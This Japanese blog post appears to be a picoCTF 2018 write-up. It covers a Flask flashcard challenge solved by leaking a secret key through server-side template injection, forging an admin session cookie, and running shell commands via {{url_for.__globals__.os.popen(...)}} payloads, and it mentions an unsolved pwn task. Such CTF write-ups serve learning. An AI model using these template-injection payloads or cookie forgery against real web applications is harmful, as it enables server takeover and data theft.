何度も"new type of problem"と出てきましたが、確かに新しい問題だった。MLかじったことはあったけど、CTFに絡めてくるとは。他のCTFでも出題されているみたい。(参考:picoCTF 2018 Dog or Frog Write-up | 一生あとで読んでろ)
今回は結局このwrite-upそのままの勢いで参考にさせてもらったので、類似問題を解いてみたいな。今回のは"hello world!" レベルらしいのでここで紹介されている他の問題はもっと難易度高いのかしら。

今回お世話になった日本語サイト

Adversarial Learning Competitionなるものが開催されていたりして、ML界隈ではかなりHotな話なんですかね。今回こんな面白いTopic、今回出会えてよかったです٩(๑❛ᴗ❛๑)۶ 

[Web] Flaskcards and Freedom (900pt)

There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell.picoctf.com:5010 (link)

Hints

  • There's more to the original vulnerability than meets the eye.
  • Can you leverage the injection technique to get remote code execution?
  • Sorry, but the database still reverts every 2 hours.

Link先に飛んでみるとこんなページ。

f:id:kusuwada:20190829112859p:plain

Register -> Login してみます。

f:id:kusuwada:20190829112911p:plain

ログインすると、cookieには remember_tokensession が記憶されています。

f:id:kusuwada:20190829112915p:plain

機能は今までのFlaskCardsと同じようです。
試しにCreate Card で QとAの両方に{{config}} を入れてみます。通りました。List Cardsで確認してみます。

f:id:kusuwada:20190829112946p:plain

わお。出てきちゃった。デジャヴ。350pt問題のFlaskcardsと同じ状況のようです。

  • 'SECRET_KEY': 'ca10fa68c590b01ad75acac0c3990ed8'

ありました、SecretKey。
このSecretKeyを利用して、一般ユーザーのsession cookieをadmin用のcookieに書き換えてやります。今度は 600pt問題のFlaskcards Skeletonで使ったコードが利用でadminn用session cookieを生成してみます。

(略)
.eJwlj8FqAzEMBf_F5xwsa2VL-ZnFlvRoCLSwm5xK_z0Lvc_AzG_ZceT5Ve6v4523sj-i3Etb0mMlNyGLpZqrVQGYoFNjWrqMAYeFVuXoMqNJrYyGqOGz0aZMJCCbJgPd6moDy7DahW9g8KyzC2OjDNGU1VKgLJ1FtNyKnwf2188zv68en05bN_ZhMCEZwrG5d7VMhFHvaU6ol_c-8_ifoPL3AfD_P08.XWaYqA.PVaA0TEbb5Zhv6m2OYCEOUAdQ90

このsession cookiechromeの開発者ツールかなんかで書き換えて、http://2018shell.picoctf.com:5010/admin(Adminのページ) に飛ぶと、無事入れました!!

f:id:kusuwada:20190829113100p:plain

htmlソースを確認しましたが、ここにflagはなさそうです。ここでflag出てきたら600点問題と同じだし、最初のヒントからももう1段階ありそうですね。"Nothing to see her anymore" ということで、ここの "View/Update Comments" をクリックして確認してみます。

f:id:kusuwada:20190829113112p:plain

私以外に二人いるみたいです。Lindaさんのcommentが意味深。この "Change Comment" 機能が怪しい。
XSSがないかチェック。エスケープされてました。(<s>test</s>を入力)

f:id:kusuwada:20190829113118p:plain

ここでヒントを再確認してみます。"remote code execution" ということで、今回はこれがお題のようです。
remote code execution flask でぐぐってみると、色んなサイトが見つかりましたが、だいたいSSTI(Server-Side Template Injection)が使われています。今回admin用ページの新しい機能が怪しいと思ったのですが、このフォーム、なんとSSTI対策がされていてこんな感じで攻撃になっていません。

f:id:kusuwada:20190829113201p:plain

SSTIが効いているのが確認できたCreateCard機能でSSTIを試してみます。SSTIについては encryptCTF 2019 でやったことがありました。このときの攻撃を参考に入れてみます。

# カレントディレクトリのファイルをリストアップ
{{url_for.__globals__.os.popen('ls').read()}}

結果

f:id:kusuwada:20190829113210p:plain

お、flagちゃんがいますね。

# flag を読んで表示
{{url_for.__globals__.os.popen('cat flag').read()}}

f:id:kusuwada:20190829113223p:plain

イエーイ!(๑˃ᴗ˂๑)
解けたチームが多かったけど、900点問題解けた嬉しい!

そして、最初に目星をつけた解き方じゃなかったのでまわりくどくなってしまったけど、シンプルなSSTIの問題でした。タイトルのFreedomは今までのFlaskcardsの脆弱性全部使えたからそういうタイトルだったのかな。

[Binary] no args (1000pt) ※サイトダウンで解けず

Final pwn. Connect with nc 2018shell.picoctf.com 25422. Source. libc.so.6

Hints

You should know by now.. but make sure you are run/debug with the provided libc on the shell server!

まずは動作を確認しようと接続してみました。

$ nc 2018shell.picoctf.com 25422
timeout: the monitored command dumped core

うむー!どうやら落ちている様子。またPiazzaで確認してみます。

f:id:kusuwada:20190911194606p:plain

2ヶ月ほど前からダウンしていてUnresolvedでした。もう一年経つからなぁ…。
本物のflagは取れなくてもローカルで解析・攻撃シミュレーションまではできそうですが、諦め。時間があればやるかも。

感想

今回はなんといっても機械学習系の話に触れられたのが良かった。チュートリアル触ってみた程度ではあるけどTensorflow環境も入れられたし。そして機械学習にも脆弱性&それに対する攻撃手法みたいな話が出てきてるのは全く知らなかったので、かじれただけでも面白かった。

また、SAT/SMT (Satisfiability problem(充足可能性問題), Satisfiable Modulo Theories)といったキーワードに初めて触れられたのも良かった。競技プログラミング界隈ではかなり有名なのかな?

ひたすら Binary(Pwn) 問題と向き合う月間が出来たのも良かった。と言っても割いた時間にしたらそんなに無いし、基礎からの理解には到底なっていないんだろうけども。今回解いた8問中3問が heap 周りのPwn問題だったので、集中して学習できました。

感慨深かったのが、Z3pyをpython2.7環境に install しようとしたら2020年1月1日からメンテ対象外だからやめとけ、と言われてinstall出来なかったこと。いうて現場でもまだまだpython2系が現役なところも多そうだし、picoCTF2018の問題も2系は多かった。潔く「2系のライブラリは提供しない」という選択をしているのは初めて見たな。

最終的に私は3問、サーバー接続できないっぽくて解けませんでしたが、もしかしたら生きてるportもあるかもしれないので、port割りが当たりだったら今からでもチャレンジできるかも。(ユーザーによって、同じ問題でもportの割当がランダムなため) 明日?今日?からもうpicoCTF2019が始まってしまうわけですが、picoCTF2018も勉強になる問題が多かったので、良かったらチャレンジしてみてください(◍•ᴗ•◍)